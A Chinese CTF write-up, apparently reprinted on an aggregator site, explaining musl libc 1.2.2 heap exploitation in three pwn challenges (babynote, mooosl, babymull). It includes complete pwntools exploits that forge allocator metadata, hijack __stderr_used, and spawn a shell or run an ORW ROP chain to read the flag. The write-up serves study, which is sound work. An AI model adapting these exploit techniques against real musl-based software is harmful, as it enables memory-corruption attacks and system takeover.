当前位置: 首页 > article >正文

【musl-pwn】msul-pwn 刷题记录 -- musl libc 1.2.2

前言

本文不分析 musl libc 相关源码,仅仅为刷题记录,请读者自行学习相关知识(看看源码就行了,代码量也不大)

starCTF2022_babynote

保护:保护全开

程序与漏洞分析:

程序实现了一个菜单堆,具有增删查丢的功能,其主要维护着以下结构:

增加时采用的头插法。然后查看功能是从链表头 bss_ptr 遍历该链表,比对 name 找到指定对应的结构,然后输出其 content。删除操作同理也是比对 name,然后依次释放 name_ptr,content_ptr 与控制堆块本身,但是其存在一些问题:

可以看到如果链表中存在两个元素,那么删除最后一个元素时并没有进行脱链操作,这里就导致了 UAF。

除此之外,程序还给了一个丢的功能:

这里直接将 bss_ptr 给置空了。

漏洞利用:

 musl libc 目前主要的利用手法就是打 dequeue 中的 unlink,然后劫持 IO 控制程序执行流。

所以总体如下:

        1)泄漏 libc

        2)泄漏 chunk_addr -> group -> meta -> meta_area -> secret

        3)伪造 meta_area -> meta -> group -> chunk,伪造 io_file

        4)释放伪造的 chunk,修改 __stderr_used 为 fake_io_file

        5)然后执行 exit 劫持程序执行流

其实就是一些堆风水的工作,挺无聊的说实话,记录一下关键点吧。

1)泄漏 libc / chunk_addr

这里主要就是通过堆风水形成如下结构:一个堆块即是控制堆块又是一个 content 堆块。如果 size足够大的话,其就会使用 mmap 分配空间,这个跟 libc 有固定偏移。

这里我们可以利用第一个元素去泄漏第二个元素的 name_ptr 和 content_ptr(这里的布局不一定如图所示,这里就是画了一个草图,根据自己的堆风水而定)

2)泄漏 secret,这个是后面伪造 meta_area 用的

也是通过堆风水去修改 content_ptr 的值实现任意地址读。由于在第1)步中我们泄漏了 name_ptr 这个堆指针,所以可以根据其与 group 的偏移计算出 group 的地址,从而泄漏 meta,泄漏了 meta,其 meta&-4096 就是 meta_area,这里可以泄漏 secret 了

3)相关伪造操作

这里其实没啥好说的,直接在 content 上面伪造就行了,将 content 的大小搞大一点,这里就会调用 mmap 分配,而 libc 地址又是知道的,所以伪造的相关地址也是知道的。一些填充值直接调试填就好了。但是需要注意的是:meta_area 地址必须是页对齐的,chunk 地址必须是8字节对齐的

4)释放伪造的 chunk

修改 content_ptr 为 fake_chunk_addr 即可

在进行堆风水的时候最好开始的时候保留一个 chunk,不然测试发现后面会切换到其他 meta。

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn", checksec=False)
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'option: '

def add(name, data, name_size=None, data_size=None):
        sla(menu, b'1')
        if name_size is None: name_size=len(name)
        if data_size is None: data_size=len(data)
        sla(b'name size: ', byte(name_size))
        sda(b'name: ', name)
        sla(b'note size: ', byte(data_size))
        sda(b'note content: ', data)

def find(name, name_size=None):
        sla(menu, b'2')
        if name_size is None: name_size=len(name)
        sla(b'name size: ', byte(name_size))
        sda(b'name: ', name)

def dele(name, name_size=None):
        sla(menu, b'3')
        if name_size is None: name_size=len(name)
        sla(b'name size: ', byte(name_size))
        sda(b'name: ', name)

def forget():
        sla(menu, b'4')

def eexit():
        sla(menu, b'5')

def leak_addr():
        addr = 0
        for i in range(8):
                addr |= int(rc(2), 16) << (8*i);
        return addr

#gdb.attach(io, 'b *$rebase(0x00000000000016A1)')
#gdb.attach(io, 'b *$rebase(0x00000000000018BE)')

add(b'A', b'X')
for _ in range(8):
        find(b'B'*0x20)
forget()
add(b'B', b'1'*0x20)

for _ in range(5):
        find(b'C'*0x20)
add(b'C', b'2'*0x20)
dele(b'B')
add(b'X', b'A'*0x1000)
find(b'B')
rut(b':')

group_0x10 = leak_addr() - 0x60
libc_base = leak_addr() + 0x3fe0
info("group_0x10", group_0x10)
info("libc_base", libc_base)

for _ in range(5):
        find(b'C'*0x20)

pay = p64(group_0x10+0x50) + p64(group_0x10) + p64(1) + p64(0x20)
find(pay)
find(b'B')

rut(b':')
meta_0x10 = leak_addr()
meta_area_0x10 = meta_0x10 & (-4096)
info("meta_0x10", meta_0x10)
info("meta_area_0x10", meta_area_0x10)

for _ in range(5):
        find(b'D'*0x20)

pay = p64(group_0x10+0x50) + p64(meta_area_0x10) + p64(1) + p64(0x20)
find(pay)
find(b'B')
rut(b':')
secret = leak_addr()
info("secret", secret)

libc.address = libc_base
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym.system
stderr_used = libc.sym.__stderr_used
info("binsh", binsh)
info("system", system)
info("__stderr_used", stderr_used)

for _ in range(4):
        find(b'M'*0x20)

fake_addr = libc_base - 0x2aa0
fake_meta_area_addr = fake_addr + 0xaa0
fake_meta_addr = fake_meta_area_addr + 0x18
fake_group_addr = fake_addr
fake_chunk_addr = fake_addr + 0x10
fake_io_file_addr = fake_addr + 0x300

info("fake_meta_area_addr", fake_meta_area_addr)
info("fake_meta_addr", fake_meta_addr)
info("fake_group_addr", fake_group_addr)
info("fake_chunk_addr", fake_chunk_addr)
info("fake_io_file_addr", fake_io_file_addr)

last_idx, sizecalss, maplen = 5, 3, 1
union = last_idx | (1<<5) | (sizecalss<<6) | (maplen<<12)
fake_meta_area = p64(secret) + p64(0) + p64(4)
fake_meta = p64(fake_io_file_addr) + p64(stderr_used) + p64(fake_group_addr) + p32(62) + p32(0) + p64(union)
fake_group = p64(fake_meta_addr) + p32(last_idx) + p32((0x80<<8)) + b'A'*0x30 + b'\x00'*0x10

fake_io_file = b'/bin/sh\x00'.ljust(0x28, b'\x00') + p64(1) + p64(0)*3 + p64(system)

pay0 = p64(group_0x10+0x10) + p64(fake_chunk_addr) + p64(1) + p64(0x20)
pay1 = fake_group.ljust(0x300, b'A') + fake_io_file
pay1 = pay1.ljust(0xaa0, b'\x00') + fake_meta_area + fake_meta
pay1 = pay1.ljust(0x1000, b'B')

add(pay0, pay1)
dele(b'A')
#pause()
eexit()
sh()

效果如下:

defcon2021_mooosl

starCTF2022_babynote 这题其实就是根据这题改编的。

保护:保护全开

程序与漏洞分析:

程序实现了一个菜单堆,具有增删查的功能,其主要维护着以下结构:

增加功能就是根据指定的 index 找到对应的链表,然后利用头插法插入。查操作也是先根据 index 找到对应的链表,然后遍历链表对比 key 找到对应的结构,然后输出其 value 数据。

漏洞在删除操作中,删除操作也是先通过 index 找到对应链表,然后遍历链表对比 key 进行脱链删除操作,但是这里存在的问题是当一个链表中存在2个以上的元素并且删除最后一个时没有进行脱链操作,导致UAF。

漏洞利用:

漏洞利用跟上一题差不多,没啥好说的,毕竟上一题就是这一题改编的。

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn", checksec=False)
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'option: '

def add(key, value, key_size=None, value_size=None):
        sla(menu, b'1')
        if key_size is None: key_size=len(key)
        if value_size is None: value_size=len(value)
        sla(b'key size: ', byte(key_size))
        sda(b'key content: ', key)
        sla(b'value size: ', byte(value_size))
        sda(b'value content: ', value)

def show(key, key_size=None):
        sla(menu, b'2')
        if key_size is None: key_size=len(key)
        sla(b'key size: ', byte(key_size))
        sda(b'key content: ', key)

def dele(key, key_size=None):
        sla(menu, b'3')
        if key_size is None: key_size=len(key)
        sla(b'key size: ', byte(key_size))
        sda(b'key content: ', key)

def eexit():
        sla(menu, b'4')

def leak_addr():
        addr = 0
        for i in range(8):
                addr |= int(rc(2), 16) << (8*i);
        return addr

def get_index(key):
        mul = 2021
        for ch in key:
                mul = 0x13377331*mul + ord(ch)
        return mul&0xffffffff

def get_key(key):
        i = 0
        index = get_index(key) & 0xfff
        while True:
                if (get_index(str(i))&0xfff) == index and str(i) != key:
                        return str(i).encode()
                i += 1

#gdb.attach(io, 'b *$rebase(0x00000000000018BE)')

add(b'A', b'B')
for _ in range(5):
        show(b'P'*0x30)

add(b'B', b'B'*0x30)
add(get_key('B'), b'B')
dele(b'B')

for _ in range(3):
        show(b'P'*0x30)

add(b'C', b'C'*0x1000)
show(b'B')
rut(b':')
group_0x10 = leak_addr() - 0x70
libc_base = leak_addr() + 0x3fe0
info("group_0x10", group_0x10)
info("libc_base", libc_base)

for _ in range(3):
        show(b'P'*0x30)

pay = p64(group_0x10+0x30) + p64(group_0x10) + p64(1) + p64(0x30) + p64(0xb4c06217) + p64(0)
show(pay)
show(b'B')
rut(b':')
meta_0x10 = leak_addr()
meta_area_0x10 = meta_0x10 & (-4096)
info("meta_0x10", meta_0x10)
info("meta_area_0x10", meta_area_0x10)

for _ in range(3):
        show(b'P'*0x30)

pay = p64(group_0x10+0x30) + p64(meta_area_0x10) + p64(1) + p64(0x30) + p64(0xb4c06217) + p64(0)
show(pay)
show(b'B')
rut(b':')
secret = leak_addr()
info("secret", secret)

libc.address = libc_base
system = libc.sym.system
stderr_used = libc.sym.__stderr_used
info("system", system)
info("__stderr_used", stderr_used)

for _ in range(2):
        show(b'P'*0x30)

fake_addr = libc_base - 0x2aa0
fake_meta_area_addr = fake_addr + 0xaa0
fake_meta_addr = fake_meta_area_addr + 0x18
fake_group_addr = fake_addr
fake_chunk_addr = fake_addr + 0x10
fake_io_file_addr = fake_addr + 0x300

info("fake_meta_area_addr", fake_meta_area_addr)
info("fake_meta_addr", fake_meta_addr)
info("fake_group_addr", fake_group_addr)
info("fake_chunk_addr", fake_chunk_addr)
info("fake_io_file_addr", fake_io_file_addr)

last_idx, sizecalss, maplen = 5, 3, 1
union = last_idx | (1<<5) | (sizecalss<<6) | (maplen<<12)
fake_meta_area = p64(secret) + p64(0) + p64(4)
fake_meta = p64(fake_io_file_addr) + p64(stderr_used) + p64(fake_group_addr) + p32(62) + p32(0) + p64(union)
fake_group = p64(fake_meta_addr) + p32(last_idx) + p32((0x80<<8)) + b'A'*0x30 + b'\x00'*0x10
fake_io_file = b'/bin/sh\x00'.ljust(0x28, b'\x00') + p64(1) + p64(0)*3 + p64(system)

key = p64(group_0x10+0x20) + p64(fake_chunk_addr) + p64(1) + p64(0x30) + p64(0xb4c06217) + p64(0)
value = fake_group.ljust(0x300, b'A') + fake_io_file
value = value.ljust(0xaa0, b'\x00') + fake_meta_area + fake_meta
value = value.ljust(0x1000, b'B')

add(key, value)
dele(b'B')
eexit()
#debug()
sh()

效果如下:

babymull

这个题目跟之前的有一点不同,之前我们都是伪造 fake_chunk 然后根据 fake_chunk 伪造 fake_goup,进而伪造 fake_meta 和 fake_meta_area。但是这个题目我们不伪造 fake_chunk,我们知道 chunk 是根据 offset 找到的 group,所以如果我们能够修改 chunk 的 offset,便可以劫持 group,从而伪造 fake_group 后面就都是一样的了。

保护:保护全开,并且有沙箱

题目实现了一个菜单堆, 具有增删查的功能,并且还给了一个后门函数。其中查和后门都只能执行一次。题目主要维护着以下结构:

先来看下 show 功能:

可以看到这里用 %s 输出 name,所以如果能够将 name 填满,则会将 data_ptr 指针输出。而 data 的大小在 [1,0x1000] 之间,所以其可能是一个 mmap 分配的空间,所以可以用来泄漏 libc。

但是在 add 时填充 name 时最多输入15个字符: 

但是这里存在问题,这里memcpy不会在最后填上\x00,所以可以利用堆块本身残余的字符将name这16个字节填满。

在后门函数中存在任意地址泄漏和任意地址写一字节NULL:

因为后面要伪造meta_area,所以得泄漏secret,怎么泄漏呢?在上面两题我们是通过先泄漏group,然后泄漏meta,进而泄漏meta_area,然后去泄漏meta_area中secret(其实这里做麻烦了,呜呜呜)。但是我们知道malloc_context是全局的,并且在libc中,所以在泄漏了libc后,可以直接去泄漏malloc_context中的secret。所以利用后门可以直接泄漏secret。

删除操作本身不存在漏洞,所以现在就只有后门中的一字节任意地址写NULL这个漏洞了。利用思路如下:

堆风水形成如下布局:(这个算不上堆风水,先后申请两个0x1000的堆块就行,为啥是0x1000呢?方便我们在里面伪造相应的结构体,并且0x1000的堆块是mmap分配的,所以其地址相当于已知)

利用后门函数修改 chunk2 的 offset 字段的低字节为0,这样当释放chunk2时,其会根据 group_addr = chunk2_addr - 0x10 - 0x10*offset 找到 group,这时侯由于 offset 变小了(测试就是变小了),所以 group_addr 就会落在 chunk1 中,所以可以在chunk1中伪造group,后面伪造meta/meta_area 啥的就是如出一辙了。

坑点:chunk2每释放一次,其chunk2_addr就往下走0x10,chunk1一样,不知道啥原因。由于这个害的我调试调了好久,悲......

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr   = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'Your choice >> '
def add(content, size=None, name=b'A'*0xF):
        sla(menu, b'1')
        sda(b'Name: ', name)
        if size is None: size = len(content)
        sla(b'Size: ', byte(size))
        if size == len(content): sda(b'Content: ', content)
        else: sla(b'Content: ', content)

def dele(idx):
        sla(menu, b'2')
        sla(b'Index: ', byte(idx))

def show(idx):
        sla(menu, b'3')
        sla(b'Index: ', byte(idx))

def exit():
        sla(menu, b'4')

def backdoor(addr0, addr1):
        sla(menu, b'1932620593')
        sl(byte(addr0))
        sleep(0.1)
        sl(byte(addr1))

for _ in range(5):
        add(b'B'*0x20)
dele(0)
#dele(1)
add(b'A', 0x1000) # 0
add(b'B', 0x1000) # 5
show(5)
rut(b'Name:')
rc(0x10)
libc.address = addr64(b' C') + 0x2aa0
info('libc_base', libc.address)
o = libc.sym.open
r = libc.sym.read
w = libc.sym.write
rdi = libc.address + 0x0000000000015536  # pop rdi ; ret
rsi = libc.address + 0x000000000001b3a9  # pop rsi ; ret
rdx = libc.address + 0x00000000000177c7  # pop rdx ; ret
gadget = libc.address + 0x000000000004bcf3 # mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38];
malloc_context = libc.sym.__malloc_context
stderr = libc.sym.__stderr_used

info('open', o)
info('read', r)
info('write', w)
info('__malloc_context', malloc_context)
info('__stderr_used', stderr)

change_byte_by_zero_addr = libc.address - 0x2aa0 + 0x8 + 0x6
fake_file_addr = libc.address - 0x2aa0 + 0x10
fake_meta_area_addr = libc.address - 0x2aa0 - 0x560
fake_meta_addr = fake_file_addr + 0x100
fake_group_addr = libc.address - 0x2aa0 - 0x100*16 - 0x10 + 0x10
fake_group_to_first_chunk_offset = 0x530
fake_meta_area_to_first_chunk_offset = 0xfe0
end_to_second_chunk_offset = 0xfdc

info('change_byte_by_zero_addr', change_byte_by_zero_addr)
info('fake_file_addr', fake_file_addr)
info('fake_meta_area_addr', fake_meta_area_addr)
info('fake_meta_addr', fake_meta_addr)
info('fake_group_addr', fake_group_addr)

fake_stack = fake_file_addr + 0x200
flag_str = fake_file_addr
flag_buf = fake_file_addr + 0x300

union = 1 + (1<<5) + (27<<6) + (4<<12)
fake_file = b'./flag\x00\x00' + p64(0)*5 + p64(fake_stack) + p64(rdi) + p64(0) + p64(gadget)
fake_meta = p64(fake_file_addr) + p64(stderr) + p64(fake_group_addr) + p64(1) + p64(union)
fake_group = p64(fake_meta_addr) + p64(1) + p64(0)

orw = p64(flag_str) + p64(rsi) + p64(0) + p64(o)
orw+= p64(rdi) + p64(3) + p64(rsi) + p64(flag_buf) + p64(rdx) + p64(0x30) + p64(r)
orw+= p64(rdi) + p64(1) + p64(rsi) + p64(flag_buf) + p64(rdx) + p64(0x30) + p64(w)
dele(5)
pay = fake_file.ljust(0x100, b'\x00') + fake_meta
pay = pay.ljust(0x200, b'\x00')
pay+= orw
pay = pay.ljust(0xfd8, b'\x00')
pay+= p64(5)
print(hex(len(pay)))
add(pay, 0x1000) # 5
backdoor(change_byte_by_zero_addr, malloc_context)
secret = int(rc(18), 16)
info('secret', secret)
fake_meta_area = p64(secret).ljust(0x10, b'\x00')

dele(0)
pay = b'\x00'*0x530 + fake_group
pay = pay.ljust(0xfd0, b'\x00') + fake_meta_area
print(hex(len(pay)))
add(pay, 0x1000) # 0
#gdb.attach(io, 'b *$rebase(0x0000000000001862)')
#pause()
dele(5)
exit()
#debug()
sh()

效果如下:


http://www.kler.cn/a/160232.html

相关文章:

  • 现代无线通信接收机架构:超外差、零中频与低中频的比较分析
  • 随机数
  • 力扣-Mysql-3308- 寻找表现最佳的司机(中等)
  • 【JavaEE初阶 — 多线程】生产消费模型 阻塞队列
  • 【IC每日一题:IC常用模块--RR/handshake/gray2bin】
  • docker更改数据目录
  • 面试官问:如何手动触发垃圾回收?幸好昨天复习到了
  • HarmonyOS学习--创建和运行Hello World
  • 基于SSM的物资物流系统
  • 什么是呼叫中心的语音通道?呼叫中心语音线路有几种?
  • [Electron] 将应用日志文件输出
  • 图解系列--Web服务器,Http首部
  • 我想涨工资,请问测试开发该怎么入门?
  • Zabbix自定义飞书webhook告警媒介2
  • vue 过滤器 (filters) ,实际开发中的使用
  • 解决 video.js ios 播放一会行一会不行
  • 【技术分享】RK356X Android11 以太网共享4G网络
  • Gti GUI添加标签
  • IPv4/IPv6 组播对应的MAC地址
  • Scala--2
  • 智能优化算法应用:基于蜜獾算法无线传感器网络(WSN)覆盖优化 - 附代码
  • 一篇文章带你详细了解C++智能指针
  • 云上守沪 | 云轴科技ZStack成功实践精选(上海)
  • 3.2 Puppet 和 Chef 的比较与应用
  • Android--Jetpack--Lifecycle详解
  • UVa1583生成元(Digit Generator)